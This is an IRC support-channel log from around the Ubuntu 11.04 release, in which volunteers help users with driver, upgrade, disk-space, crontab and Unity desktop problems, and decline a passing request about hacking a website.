[12:58] <muneeb> zvacet, http://paste.ubuntu.com/600696/
[12:58] <botcity> no but type short in the search bar in the main menu and it brings up keyboard shortcuts click that and view all the shortcuts and maybe create some of your own!
[12:58] <Incarus6> Skei, can you paste "dmesg"?
[12:58] <robin0800> In natty uses start and stop services now
[12:58] <Marsha||[a]> need to allocate empty space in one HDD & merge it with the 2nd HDD empty space to make a LVM
[12:58] <botcity> m|kael,
[12:58] <webtrickster> Psychobudgie: okay , is there any other distro which comes with gnome 3 other than fedora 15
[12:58] <Marsha||[a]> install HyperVM on it
[12:59] <Incarus6> robin0800, the old "sudo /etc/init.d/cups restart" doesn't work anymore?
[12:59] <m|kael> botcity: yes?
[12:59] <rigved> hi everyone...can anyone tell me how to change the defaultguration in gconf-editor: apps --> metacity --> general, but it did n button layout in 11.04 unity 3d? i tried changing the configuration in gconf-editor: apps --> metacity --> general, but it did not work. any help?
[12:59] <Psychobudgie> webtrickster, not at the moment although suse has it in its repositories
[12:59] <pog> hello, since 10.04 I have a problem with "sun-accent-keys" so a user can't enter french signs with like circonflex e.
[12:59] <zvacet> muneeb:  sudo apt-get autoremove sudo apt-get clean to make space
[12:59] <Nunya> Incarus6 I got this: Since the script you are attempting to invoke has been converted to an
[12:59] <rigved> *default configuration
[12:59] <Nunya> Upstart job, you may also use the stop(8) and then start(8) utilities,
[12:59] <Nunya> e.g. stop cups ; start cups. The restart(8) utility is also available.
[12:59] <mikebeecham> hi guys...can anyone advise how to enable nvidia recommended drivers?
[12:59] <mikebeecham> the only option I have is to "remove" the driver...which I obviously dont want to do since it's recommended
[12:59] <botcity> m|kael, type short in the search bar in the main menu and it brings up keyboard shortcuts click that and view all the shortcuts and maybe create some of your own!
[12:59] <mikebeecham> the only option I have is to "remove" the driver...which I obviously dont want to do since it's recommended
[12:59] <FloodBot2> mikebeecham: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[12:59] <T-One> hey, i want to reasamble a livecd of ubuntu 10.10 with static resolv.conf entries. i have loopemounted the squashfs and copied into a new folder, added the correct resolv.conf and made a new squasfs out of it via mksquashfs, but if i boot the new livecd there is no ubuntu live cd user, i'm stuck at the gdm login-screen, is there anything special i have to consider if i reassamble the squashfs of the livecd ?
[12:59] <Incarus6> Nunya, nevermind. type "sudo start cups"
[12:59] <m|kael> botcity: thanks
[13:00] <Nunya> Incarus6 thank YOU so much it looks like the upgrade is now going thru!!!   :D
[13:00] <Nunya> oh happy days  \o/
[13:00] <robin0800> Incarus6, think it still works just tells you you should't use it
[13:00] <rigved> *default button layout <-- that's what i meant
[13:00] <Skei> Incarus6, it's about 750 lines, sorry : http://pastebin.com/6kLDH0Gj
[13:00] <Incarus6> Nunya, that was just luck. you're welcome
[13:00] <muneeb> zvacet, ok executing autoremove...
[13:00] <Nunya> heheh   \o/ woot!
[13:01] <Marsha||[a]> anybody ? :x
[13:01] <bazhang> Marsha||[a], anybody what?
[13:01] <Nunya> Incarus6 if you dont mind Ill hang here for a few in case I run into issues
[13:01] <Marsha||[a]> need to allocate empty space in one HDD & merge it with the 2nd HDD empty space to make a LVM
[13:01] <Nunya> and thank you again!!!!
[13:02] <Incarus6> Skei, I think Intel Sany Bridge isn't yet fully supported in the linux kernel
[13:02] <Shaggy2> how do I load into gnome from the cli?
[13:02] <Marsha||[a]> so i can install HyperVM on it
[13:02] <mansoor> I am trying to install Gnome-Shell on a fresh Ubuntu 11.4 install but when I type sudo apt-get install upgr-desktop-g3 it gives me this: The following packages have unmet dependencies:
[13:02] <mansoor>  ugr-desktop-g3 : Recommends: gnome-themes but it is not going to be installed
[13:02] <vibhav> <Shaggy2> type startx
[13:02] <zvacet> muneeb:  execute both commands
[13:02] <mansoor> Could anyone help me with  my problem
[13:03] <vibhav> mansoor> Yes?
[13:03] <vibhav> mansoor  Yes?
[13:03] <Incarus6> !ask | mansoor
[13:03] <ubottu> mansoor: Please don't ask to ask a question, simply ask the question (all on ONE line and in the channel, so that others can read and follow it easily). If anyone knows the answer they will most likely reply. :-)
[13:03] <muneeb> zvacet, it's giving same error of not enough space but there's 4GB space
[13:03] <Marsha||[a]> http://paste.ubuntu.com/600698/
[13:03] <pog> does anybody know how to archive (in 10.04) signs like two points and U Capital, for Capital U-Umlaut?  same mechanism with french special signs (which I look  for a solution).
[13:03] <Marsha||[a]> there
[13:03] <michaels> hi!  is it possible to run natty 64 bit on macbook 2,1? and if so, is it a good idea? which version would you choose?
[13:03] <Shaggy2> after typing startx I get: fatal server error: No screens found.
[13:03] <Shaggy2> seems like the 11.04 install didn't work correctly
[13:03] <Incarus6> Skei, line 711 "[   12.440031] agpgart-intel 0000:00:00.0: Intel Sandybridge Chipset"
[13:03] <zvacet> muneeb:  on your root partition?
[13:03] <rigved> mansoor: what does your sources.list say?
[13:03] <vibhav> <michaels> there is a seperate Mac version
[13:04] <vibhav> <michaels> Your have an Intel MAc?
[13:04] <vibhav> <michaels> Your have an Intel Mac?
[13:04] <Incarus6> Shaggy2, are you using a nvidia graphic card?
[13:04] <michaels> vibhav: yes, intel mac
[13:04] <vibhav> ok
[13:04] <Shaggy2> yes
[13:04] <zvacet> by see you soon
[13:04] <m|kael> botcity: how do i make a shortcut for gnome-do?
[13:04] <mansoor> rigved,  let me find out. Also, i am following this tut http://www.unixmen.com/linux-tutorials/linux-distributions/linux-distributions4-ubuntu/1625-how-to-install-gnome3-in-ubuntu-1104-natty-via-ppa.html
[13:04] <vibhav> <michaels> Let me tell you the link
[13:04] <Seta00> uh, did anyone here get Dropbox working on Nautilus 3?
[13:04] <feisar> Hi, just installed Natty, how do I configure which time servers to use now?
[13:04] <Seta00> (icons/context menu)
[13:04] <michaels> vibhav: is this mac-version official? is it natty?
[13:04] <Shaggy2> Incarus6: Yes I am using nVidia
[13:05] <feisar> it seems natty is set to 'automatically get time from the internet' but I don't know what it's using to do it or how to configure it
[13:05] <vibhav> <michaels> Yes, there is even a PS3 and a Power PC version
[13:05] <bazhang> michaels, yes, intel is the regular one
[13:05] <bazhang> vibhav, for natty?
[13:05] <vibhav> <bazhang> yes
[13:05] <Shaggy2> Incarus6: it has 3 screen to choose from
[13:05] <rigved> feisar: click on thr time shown on the top right. then click on time settings
[13:05] <muneeb> zvacet, yes
[13:06] <mikebeecham> can anyone guide me on getting recommened nvidia drivers to activate AND enable?>
[13:06] <botcity> m|kael, does gnome-do work with unity
[13:06] <michaels> vibhav, bazhang: thanks... i'll do a google!
[13:06] <mansoor> rigved, my sources.list: http://pastie.org/1846993
[13:06] <Incarus6> Shaggy2, your graphic card driver isn't loading, imo. You could download the binary driver from nvidia.com and install it by hand. You got 3 screens?
[13:06] <vibhav> <michaels> ill just tell you the link
[13:06] <m|kael> botcity: yeah if i start it from terminal with gnome-do &
[13:06] <heedlu> Hi, two questions. How do I add widgets to the toolbar, and is there anyway to disable "run a command" from showing when I switch to desktop 2?
[13:06] <bazhang> michaels, www.ubuntu.com
[13:06] <feisar> rigved: thanks but there is not an option for changning which time servers it gets the time from
[13:06] <michaels> ok
[13:06] <Shaggy2> yes, 3 screens on 2 nVidia cards
[13:07] <Shaggy2> can you point me to a help doc on installing the nVidia drivers?
[13:07] <pog> I found a solution, the was a keyboard swiss out of date, whith correct results. fuer the Umlauts.
[13:07] <p_res> 11.04 release has brought me back to ubuntu. :-)
[13:07] <vibhav> <michaels> http://cdimage.ubuntu.com/releases/natty/release/ubuntu-11.04-dvd-i386.iso for the 32 bit MAc
[13:07] <Incarus6> Shaggy2, can you paste /var/log/Xorg.0.log just to make sure its a problem with the driver?
[13:07] <Skei> Incarus6, yes, it's a 1155 socket. So the graphics adaptor isn't supported ?
[13:07] <knick> Bah, i dont like the new graphical stuff in ubuntu
[13:07] <muneeb> need help http://paste.ubuntu.com/600696/
[13:07] <rigved> feisar: hmmm...i think that this info is saved in a file, you could edit that
[13:07] <knick> annoying that menu, perhaps i need to get used to it
[13:07] <bazhang> vibhav, he may not want the dvd
[13:07] <axle> I'm on a very new Lenovo Z370, 2nd generation i5, nvidia geforce 410m. From time to time, ubuntu won't boot, but gives me some kind of an error trace when I boot into recovery mode. It says something like "fixed recursive fault, but reboot is needed". Some times this is the last line of output before it stops, sometimes there are 2 lines about "clocksource" and "tcs" or something like that. When I reboot, I get the same error message ag
[13:08] <vibhav> <michaels> then use this guide... https://help.ubuntu.com/community/MacBook
[13:08] <Shaggy2> Incarus6: I have just re read the screen output, it say's that screens were found but none with a usable confiuration
[13:08] <botcity> m|kael, ok then click add , type gnome-do in name and then below it type the terminal command for it. it should appear at the bottom of the list
[13:09] <feisar> rigved: yeah, I think it's using ntpdate which is only good for setting time initially
[13:09] <BlouBlou> how to install a nvidia driver manually? I mean without aditional-drivers app
[13:09] <michaels> vibhav: thanks, but this I already knew... :-(
[13:09] <jpohl> where does ubuntu set the permissions for who is allowed to shutdown and/or reboot?
[13:09] <vibhav> <michaels> Ohhh....
[13:09] <m|kael> botcity: ive tried that but nothing happens :/
[13:09] <vibhav> <michaels> did you rty it then?
[13:09] <r3dux> BlouBlou, you wanted Nvidia-current or Nvidia_current
[13:09] <Shaggy2> Incarus6:  also say's that it doesn't support the pci card I have, but didn't say anything about the pcie card
[13:09] <michaels> vibhav: rty?
[13:09] <r3dux> "want"
[13:10] <LjL> jpohl: probably part of the "admin" group by default, but i think there is also a separate group for those who are able to shutdown if desired
[13:10] <rafii> axle: may you should do clean install? will be faster than finding a problem with current instalation
[13:10] <muneeb> can anyone help me?? http://paste.ubuntu.com/600696/
[13:10] <p_res> although i can see why some users may not like the changes, i think anyone can adapt to them if you give them a chance. i did and i'm now enjoying it.
[13:10] <r3dux> Definitely "nvidia-current"
[13:10] <BlouBlou> r3dux: I want to install an older one
[13:10] <botcity> m|kael, ehh one min!
[13:10] <p_res> returned from fedora and opensuse.
[13:10] <m|kael> ok:-)
[13:10] <mutante> where is a "24 GB RAM" limit? i read there may be one for some CPUs? i can see 4 Pcs. of RAM , 8192 MB each with "dmidecode", but cat /proc/meminfo just sees 24 GB , not 32GB. CPU Intel(R) Xeon(R) CPU E5540 quadcore.. on a Dell r710, says it would support a lot more. Linux kernel is 2.6.24-28 64-bit, Ubuntu 8.04.4 LTS
[13:10] <Incarus6> Skei, according to some websites the sandy bridge should be supported, but mention that some hardware and some features aren't supported yet ( http://phoronix.com/forums/showthread.php?29110-Intel-s-Linux-Sandy-Bridge-Graphics-Still-Troubling )
[13:10] <Shaggy2> yes both cards are new
[13:10] <LjL> jpohl: or not... maybe it's really just a GDM thing
[13:11] <axle> rafii: I don't get your point, sorry. I freshly installed 11.04.
[13:11] <Incarus6> Shaggy2, can you paste the log file?
[13:11] <Skei> Incarus6, I was just reading that one, yes. So... I won't be able to get the graphics working at all ?
[13:11] <Incarus6> !paste | Shaggy2
[13:11] <ubottu> Shaggy2: For posting multi-line texts into the channel, please use http://paste.ubuntu.com | To post !screenshots use http://imagebin.org/?page=add | !pastebinit to paste directly from command line | Make sure you give us the URL for your paste - see also the channel topic.
[13:11] <r3dux> You didn't say you wanted to install an older one. May I ask why?
[13:11] <sect114> having problem with updatingto 11.4 on powerpc mac - keep getting this message:  Failed to fetch http://ports.ubuntu.com/ubuntu-ports/dists/natty/Release  Unable to find expected entry  partner/binary-powerpc/Packages in Meta-index file (malformed Release file?
[13:11] <BlouBlou> r3dux: do you know how ti install "93" driver?
[13:11] <muneeb> can anyone help me?? http://paste.ubuntu.com/600696/
[13:11] <Shaggy2> it's on a different system I am using a laptop running win vista
[13:11] <r3dux> You can always DL the driver of your choice and run the executable
[13:11] <Marsha||[a]> i will act like a spam bot now
[13:11] <Marsha||[a]> keep on posting lol
[13:11] <jrib> LjL, jpohl: probably policy-kit related
[13:11] <mutante> muneeb: "gzip: stdout: No space left on device
[13:12] <mutante> muneeb: hard disk full ?!
[13:12] <r3dux> i.e. chmod +x nvidia_driver_blah && ./nvidia_driver_blah
[13:12] <Skei> Incarus6, apparently, the latest Ubuntu has alpha support for Sandy Bridge. Yay. :P
[13:12] <Incarus6> Skei, not yet, IMO. It could work with the next kernel 2.6.39 or the mainline kernel, Im not sure if something changed in this kernel
[13:12] <chandru_in> Is it possible to change the directories that are searched by the launcher?
[13:12] <Tobbi|Ubuntu> Heya. When I try to compile something and try to run ./configure I keep getting Permission denied. Any pointers?
[13:12] <muneeb> mutante, theres 4GB space on /
[13:12] <BlouBlou> if I unistall xorg, I won't be able to loging, right?
[13:12] <Skei> Incarus6, I misread that. The latest alpha Ubuntu release has support for it. The release is no longer in alpha, but full stable. I might have a chance if I upgrade my distro.
[13:12] <LjL> Tobbi|Ubuntu: try chown -R yourusername:yourusername director_where_the_source_resites/
[13:13] <mutante> muneeb: it tries to do something in /boot though
[13:13] <muneeb> but i have /boot and theres only 9MB :(
[13:13] <muneeb> mutante, what to do then?
[13:13] <axle> Skei, Incarus6 : not sure what you're talking about, but I'm running ubuntu on a sandybridge quite well, except for the bug I already posted in here :)
[13:13] <feisar> where can I find an in depth list of changes made in ubuntu 11.04?
[13:13] <axle> I'm on a very new Lenovo Z370, 2nd generation i5, nvidia geforce 410m. From time to time, ubuntu won't boot, but gives me some kind of an error trace when I boot into recovery mode. It says something like "fixed recursive fault, but reboot is needed". Some times this is the last line of output before it stops, sometimes there are 2 lines about "clocksource" and "tcs" or something like that. When I reboot, I get the same error message ag
[13:13] <r3dux> Tobbi - the directory you're in doesn't have sufficient permissions for some reason. Change to a user with permissions, or grant permissions to the entire subdirectory recursively (i.e. every in it, all the way to the bottom)
[13:13] <Incarus6> Skei, oh, you didn't said that you are using 10.10.. I thought you use 11.04 because this channel now supports 11.04. Yes, there is a high chance, that it will work
[13:13] <BlouBlou> guys, just a question
[13:13] <Incarus6> axle, you are running 11.04?
[13:14] <p_res> feisar: check the release notes.
[13:14] <mutante> muneeb: uhmm... make /boot larger ... ehm... using gparted.. from a Live CD
[13:14] <diaoer> i use natty now
[13:14] <BlouBlou> how to install a package like 'nvidia-glx-96' without unistall xorg and ubuntu-desktop
[13:14] <p_res> feisar: or google for change notes.
[13:14] <BlouBlou> ?
[13:14] <Skei> Incarus6, thanks. I've tried upgrading to 11.04 recently, but it failed. I'll try again. Something about a network error...
[13:14] <axle> yes. well, atm I'm on win7 because ubuntu won't boot :D
[13:14] <Incarus6> BlouBlou, correct, not the graphical way
[13:14] <axle> Incarus6: yes. well, atm I'm on win7 because ubuntu won't boot :D
[13:14] <muneeb> mutante, how much big?? i read 100MB was enough but it seems it's not
[13:14] <feisar> p_res: thanks, where can I find them?
[13:14] <botcity> m|kael, well it works for me you must not be doing something?
[13:14] <diaoer> i think gnome3 is good than natty
[13:15] <Incarus6> Skei, failed for me to, I had to downgrade some ( a lot of) packages, that the dependencies matched
[13:15] <iceroot> muneeb: just remove old unused kernels
[13:15] <Tobbi|Ubuntu> Let's see....it's chowning...
[13:15] <Tobbi|Ubuntu> :P
[13:15] <mekwall> so.... I'm trying to mount an nfs share in userspace (using unfs3), but I get the unknown filesystem errror
[13:15] <r3dux> Tobbi - for example, chown  -R <USER_TO_OWN_THE_FILES> *
[13:15] <Incarus6> axle, after the upgrade? sure intel sandy bridge is working correctly? ;)
[13:15] <p_res> feisar: just google them.
[13:15] <Skei> Incarus6, that's a major pain...
[13:15] <m|kael> botcity: what exactly did you type in then?
[13:15] <Pici> feisar: They're in the topic of this channel.
[13:15] <mekwall> anyone have any experience with ubuntu and unfs3 ?
[13:15] <sarge> Hello all does anyone have expereince with RP_filter in ubuntu sever?
[13:15] <p_res> feisar: much easier than trying to find in gui.
[13:15] <feisar> p_res: thanks found them... nothing about ntp though
[13:16] <section5> anyone here know how to ftp hack?
[13:16] <Incarus6> Skei, it was my fault, I installed foreign package repos ;)
[13:16] <bazhang> section5, pardon?
[13:16] <muneeb> iceroot, why did Natty didnt remove it?? i think there were 2 before i started upgrade
[13:16] <p_res> section5: specific?
[13:16] <Skei> Incarus6, I haven't touched repositories on this install.
[13:16] <section5> does anyone here know how to ftp server
[13:16] <section5> ?
[13:16] <botcity> m|kael, gnome-do then gnome-do
[13:16] <sarge> trying to run the following commands as SUDO and get denied" echo 0 >/proc/sys/net/ipv4/conf/wccp0/rp_filter echo"   "0 >/proc/sys/net/ipv4/conf/eth0/rp_filter"
[13:16] <LjL> !ftpd | section5
[13:16] <ubottu> section5: FTP servers: ftpd, proftpd, pure-ftpd, twoftpd, vsftpd, MuddleFTPd, wzdftpd - Graphical front-ends: PureAdmin, GProftpd (for GNOME), KcmPureftpd (for !KDE) - See also !FTP
[13:16] <r3dux> ftp hack? Try #2600
[13:16] <section5> basic website hacking
[13:16] <knick> How to ftp server, lol
[13:16] <LjL> section5: this channel doesn't support illegal activities
[13:16] <heedlu> how do I add widgets to the toolbar in natty, right clicking no longer seems to work.
[13:16] <axle> Incarus6: what upgrade? it's a fresh system, downloaded the .iso yesterday... and well, now it's a little messed up, though it booted all fine the first few times ;)
[13:17] <m|kael> botcity: did you put winkey+space as the shortcut?
[13:17] <[TK]D-Fender> knick: he just completely the internet!
[13:17] <Incarus6> !ubuntu | section5
[13:17] <ubottu> section5: Ubuntu is a complete Linux-based operating system, freely available with both community and professional support. It is developed by a large community and we invite you to participate too! - Also see http://www.ubuntu.com
[13:17] <section5> just someone asked me at work to google it couldnt find anything on there and thought i would ask here, its for our work website
[13:17] <section5> www.surfersparadiseimports.com
[13:17] <Pici> feisar: What ntp changes were you expecting?
[13:17] <rigved> hi everyone..how do i change the default button layout in 11.04 unity 3d?
[13:17] <vibhav> sarge : serge rp-filter uses the routing table to decide which source addresses are accepted through an interface. Packets will be accepted not only if they originate from the connected network, but also if they originate from a network that (according to the routing table) is connected via that network.
[13:17] <botcity> m|kael, did it work then ?
[13:17] <knick> [TK]D-Fender: Just DL the backdoored version of proftpd to experiment with lol
[13:18] <LjL> section5: even if you're doing it to your own website, it's still offtopic here. try #ubuntu-offtopic but please make very clear what you want to do, or people will tell you it's illegal
[13:18] <rigved> gconf-editor does not seem to work for this
[13:18] <Incarus6> !op | section5
[13:18] <ubottu> section5: Help! Channel emergency! (ONLY use this trigger in emergencies) - elky, Madpilot, tritium, Nalioth, tonyyarusso, PriceChild, Amaranth, jrib, Myrtti, mneptok, Pici, jpds, gnomefreak, bazhang, jussi, Flannel, ikonia, maco, h00k, IdleOne, nhandler, bilalakhtar, Jordan_U, or rww!
[13:18] <Pici> Incarus6: Thats not needed.
[13:18] <m|kael> botcity: no its not working with winkey+space like i put as shortcut
[13:18] <LjL> Incarus6: ops are watching
[13:18] <Incarus6> Pici, sorry
[13:18] <sarge> vibhav: i need to disable rp_filter functioning in order to setup Transparent Proxy though WCCPV2 with my ASA cisco box
[13:18] <[TK]D-Fender> knick: This wasn't for me.  I was just sharing your poking fun at some tragic grammar...
[13:18] <knick> [TK]D-Fender: yeah i love it when people dont speak proper english, they bring certain things in such a fun way!
[13:19] <m4rtin> Hi all, got a non-booting system that needs a dpkg --configure -a. Doing so gives an IO error: /sbin/ldconfig.real cannot lstat /usr/lib/libkdeinit4_khelpcenter.so
[13:19] <sarge> vibhav: they are not compatiable
[13:19] <feisar> Pici: 'synchronise time with internet servers' is now ticked by default but ntp is not installed. I would like to know how it is synchronising and how I can change the servers it uses
[13:19] <m4rtin> any idea how I can recover, please!
[13:19] <iceroot> muneeb: that is a great feature its not removing old kernels. what if the new kernel is not booting what will you choose then?
[13:19] <Incarus6> axle, so it stopped working?
[13:19] <LjL> feisar: perhaps "ntpdate" is installed? not sure
[13:19] <vibhav> <sarge> I am not so experienced with ubuntu server ... can you post it in the ubuntu fourms ...
[13:19] <diaoer> is natty had installed build-essential default?
[13:19] <feisar> Ljl: it is, do you know where  it's config file is?
[13:19] <muneeb> iceroot, hmm
[13:19] <illsci> Is there any solution to the white screen of death following the recent upgrade?
[13:19] <sarge> vibhav: alright
[13:19] <Pici> feisar:
[13:19] <botcity> m|kael, after clicking add did you type the name that you would like at the top and the "terminal command" in the bottom
[13:19] <Pici> feisar: That is a very good question.  Hm...
[13:19] <vibhav> <sarge> Good Luck
[13:20] <LjL> feisar: /etc/default/ntpdate
[13:20] <axle> Incarus6: yes. I had the same problem with the beta, which randomly booted correctly or gave me the exact same error
[13:20] <AceKing> I have a question.. I encrypted my home folder when installing 10.10. If I install 11.04 on a new HDD, and hook up the old HDD through USB, will I be able to access my files in the Home folder of the old drive?
[13:20] <feisar> Ljl: thanks
[13:20] <Pici> LjL: Ah.
[13:20] <LjL> Pici: at least in Hardy ;)
[13:20] <botcity> m|kael, you add the short cut after that!
[13:20] <m|kael> botcity: yeah name "gnome-do" command "gnome-do" ive tried mod4+z and mod4+space mod4=winkey
[13:20] <dkeulen> hey all, anyone could help me with a vnc problem with 11.04?
[13:20] <DamienCassou> AceKing: that's the kind of question that always prevented me from encrypting. But I'm sure there is a way
[13:20] <Pici> LjL: Yeah, still here in natty server.
[13:20] <m4rtin> anybody, please?
[13:21] <Incarus6> axle, sry, I can't help you with that ;) I think Im going to test Natty now (restarting)
[13:21] <botcity> m|kael, ok
[13:21] <illsci> I wouldn't
[13:21] <illsci> Everytime my screen locks it goes into a white screen and I can't ever get out of it
[13:21] <axle> good luck Incarus6 :)
[13:21] <AceKing> DamienCassou, that's what I'm figuring. I just have to find a way how to do it
[13:21] <dkeulen> anyone knows wat the problem could be with vnc not showing the windows on 11.04
[13:21] <LjL> m4rtin: have you checked your HDD physical state? do you have smartmontools installed?
[13:21] <Nunya> Incarus6 is my hero!  \o/
[13:21] <muneeb> please help me out... http://paste.ubuntu.com/600709/
[13:21] <Nunya> lol
[13:21] <Incarus6> Nunya ;D
[13:21] <wolf__> my system always hangs
[13:22] <m|kael> botcity: i still dont understand why gnome-do isnt standard in ubuntu :(
[13:22] <m|kael> botcity: its such a lovely tool :)
[13:22] <wolf__> is the prob in the system or my lap top ?
[13:22] <Naphidia> what are the packages needed typically for gtk for python /
[13:22] <DamienCassou> m|kael: not maintained anymore I would say. And unity is replacing it
[13:22] <Incarus6> Skei, I hope the upgrade is solving your problem
[13:22] <zis> anyone know how to resize a window ?
[13:22] <Skei> Incarus6, selected another server and will try it now. Will let you know.
[13:22] <wolf__> i need some help over here pls guyes
[13:23] <Soothsayer> woot! Got the graphics card working
[13:23] <Soothsayer> and dual monitor
[13:23] <dkeulen> anyone knows why vnc to ubuntu 11.04 is not working? i see my desktop but nothing is responding when i click on it
[13:23]  * Incarus6 is restarting, brb
[13:23] <m|kael> DamienCassou: ok
[13:23] <wolf__> i don't know why always my system hangs ?
[13:23] <LjL> wolf__: i have no idea, but you should check the logs after it hangs. "dmgs" and "cat /var/log/kern.log" and the likes.
[13:23] <LjL> wolf__: "dmesg", even.
[13:23] <m4rtin> LjL: it dumps to what looks like an initramfs error (with kernel output lines) on normal boot
[13:23] <dkeulen> anyone knows why vnc to ubuntu 11.04 is not working? i see my desktop but nothing is responding when i click on it
[13:24] <wolf__> what is dmesg?
[13:24] <m4rtin> LjL: I've got a recovery prompt off a live CD and have chrooted into the old env
[13:24] <Naphidia> getting this error...
[13:24] <DamienCassou> dkeulen: if nobody answers, nobody knows
[13:24] <Naphidia> /usr/share/kernelcheck/scripts/main.py:608: GtkWarning: gdk_screen_get_width: assertion `GDK_IS_SCREEN (screen)' failed
[13:24] <Naphidia>   self.widgets = gtk.glade.XML(KCHECK_UI + "kernelcheck.glade")
[13:24] <Naphidia> /usr/share/kernelcheck/scripts/main.py:608: PangoWarning: pango_layout_get_line_count: assertion `layout != NULL' failed
[13:24] <Naphidia>   self.widgets = gtk.glade.XML(KCHECK_UI + "kernelcheck.glade")
[13:24] <FloodBot2> Naphidia: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:24] <muneeb> someone look at this... http://paste.ubuntu.com/600709/
[13:24] <m4rtin> LjL: the file it is looking for is not there, looking like an aborted apt-get upgrade was run
[13:24] <LjL> m4rtin: so when running from CD everything works correctly?
[13:24] <AceKing> DamienCassou, I just found a link that says how to do it. https://help.ubuntu.com/community/EncryptedPrivateDirectory#Live CD method of opening a encrypted home directory
[13:24] <LjL> m4rtin: yeah but the "I/O error" is what worries me
[13:24] <DamienCassou> wolf__: a command you can type in the terminal which displays useful logs
[13:24] <m4rtin> LjL: I can get a recovery shell and mount the HDD, yes
[13:24] <m4rtin> LjL: the IO error is just referring to file not found, I believe
[13:24] <Naphidia> anyone know what im missing?
[13:25] <ratcheer> I upgraded to Natty and could not run Firefox 4 as my primary user. I uninstalled and reinstalled FF, now I can Start FF with a terminal command (/usr/lib/firefox-4.0/firefox.sh), but the Unity Firefox icon will not start it. How can I reconnect the Unity icon to the app?
[13:25] <Soothsayer> how do I make the Unity bar on the left smaller ?
[13:25] <dkeulen> how can nobody knows this freaking bug is alive since v8 by google
[13:25] <tashkas> MC-Router API already in use; Errno(98): Address already in use
[13:25] <tashkas> how to fix that one
[13:25] <tashkas> trying to run igmpproxy
[13:25] <LjL> m4rtin: well i don't know, but for me a file not found error never was given as an I/O error, while I/O error has always meant there was something wrong reading the actual disk. so i still suggest you install smartmontools in the live CD and give the HDD a check.
[13:26] <Soothsayer> ok Unity is not that bad
[13:26] <Soothsayer> You just need to get use to it
[13:26] <Soothsayer> I can see a lot of potential.
[13:26] <DamienCassou> Soothsayer: type ccsm in a terminal
[13:26] <botcity> m|kael, i think the main search is a version of that behaves similar!
[13:26] <pumeust> hello how do i save changes in crontab?
[13:26] <jrib> pumeust: how did you edit it?
[13:27] <LjL> pumeust: the user crontab, or the global crontab?
[13:27] <m4rtin> LjL: ok, will do, but the file doesn't exist, so it can't read it....
[13:27] <DamienCassou> Soothsayer: I agree, but it's buggy now
[13:27] <Al-Bawi> hi there , i want to upgrade to 11.04 in command line , how can i do it?
[13:27] <m|kael> botcity: ok, well i haxed gnome-do settings and binded ctrl+space to start it
[13:27] <jrib> !upgrade | Al-Bawi
[13:27] <ubottu> Al-Bawi: For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[13:27] <BlouBlou> Well, I fixed my graphic card problem. It was installing but not being used. I'll explain how I fixed it for if someone has this error: I unistalled NVdia oficial driver, I rebooted, I installed open experimental driver and I rebooted again. Now Unity works (but anyways I won't use it :P)
[13:27] <pumeust> jrib, i edited it in the terminal
[13:27] <jrib> Al-Bawi: follow the server instructions (do-release-upgrade)
[13:28] <DamienCassou> pumeust: $ crontab -e
[13:28] <jrib> pumeust: be more specific
[13:28] <Al-Bawi> thanks
[13:28] <botcity> Soothsayer, its performing better than the 1010 unity for netbook so far.
[13:28] <nevvermind1> uhm... yeah. i've just chmod'ed everything to "www-data" user. including "/etc/sudoers". any chance I can "sudo su root" again? i'm currently stuck with user "ubuntu".
[13:28] <Elliot_Erased> Hi
[13:28] <pumeust> LjL, i'm not sure if its user or global
[13:28] <LjL> m4rtin: that file is in this package: http://packages.ubuntu.com/natty/khelpcenter4 so you can always install this in the live CD, and then copy the file over to your HD.
[13:28] <Elliot_Erased> I encountered a problem while installing 11.04
[13:28] <Soothsayer> botcity: I cannot tell vouch for its performance cause im on a quadcore with 4 gb ram here.
[13:28] <Soothsayer> but looks fast
[13:28] <LjL> pumeust: what did you type to edit it
[13:28] <jrib> nevvermind1: if you really mean everything when you say "everything", then it's time to reinstall
[13:28] <Soothsayer> just the unity bar on the left is ugly
[13:29] <Soothsayer> and big
[13:29] <Soothsayer> and bulky
[13:29] <FloodBot2> Soothsayer: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[13:29] <KNUBBIG> Soothsayer: you may resize it if it's too big for you :)
[13:29] <ubuntu> marco
[13:29] <Elliot_Erased> When I'm doing the install, it fails while installing GRUB
[13:29] <nevvermind1> thx, jrib
[13:29] <botcity> KNUBBIG, how?
[13:29] <pumeust> LjL, i typed a command to schedule a task
[13:29] <kandinski> I am having a weird interaction between irssi/gnome-terminal/natty: alt-w, which before upgrading to natty took me to the 12th irssi screen, on gnome terminal selects all text in the terminal, despite alt-w not being listed as a keyboard shortcut either on gnome-terminal or on gnome. Any idea what it can be and how to fix it?
[13:29] <jrib> nevvermind1: and don't « sudo su root ».  If you really need a root shell, use « sudo -i »
[13:29] <KNUBBIG> botcity: ccsm -> unity -> change icon size
[13:29] <Elliot_Erased> the error given is that it can not install it.
[13:29] <LjL> pumeust: right, what command
[13:29] <DamienCassou> Soothsayer: 'ccsm' in the terminal to make it smaller
[13:30] <ubuntu> cll
[13:30] <kjesle> Has anyone succesfully installed gnome3 with natty?'
[13:30] <Dr_Willis> I wonder if theres a FAQ url for tweaking unity in ways they dont want you to.... yet.
[13:30] <ubuntu> c s
[13:30] <pumeust> DamienCassou says $ crontab -e, won't that work?
[13:30] <KNUBBIG> !gnome3 > kjesle
[13:30] <ubottu> kjesle, please see my private message
[13:30] <botcity> KNUBBIG, thankyou i will look into that !
[13:30] <KNUBBIG> botcity: no problem :) Worked fine for me
[13:30] <Soothsayer> What's the keyboard shortcut for the launcher ?
[13:30] <DamienCassou> pumeust: use 'crontab -e' to edit your crontab file
[13:30] <LjL> pumeust: "crontab -e" will let you edit the user's crontab, yes
[13:30] <KNUBBIG> Soothsayer: Alt + f2
[13:31] <pumeust> DamienCassou, thanks i'll try it
[13:31] <mvip> Anyone know when/if "do-release-upgrade" will work from 10.04 to 11.04?
[13:32] <mvip> Right now I'm just getting 'No new release found'
[13:32] <KNUBBIG> mvip: did you tell your system to look for non-LTS-releases?
[13:32] <romain__> pd
[13:32] <mvip> KNUBBIG: no, 11.04 is a LTS release, isn't it?
[13:32] <Pici> mvip: no.
[13:32] <KNUBBIG> mvip: no
[13:32] <mvip> oh, damn =)
[13:32] <Pici> mvip: LTSes are released every 2 years.
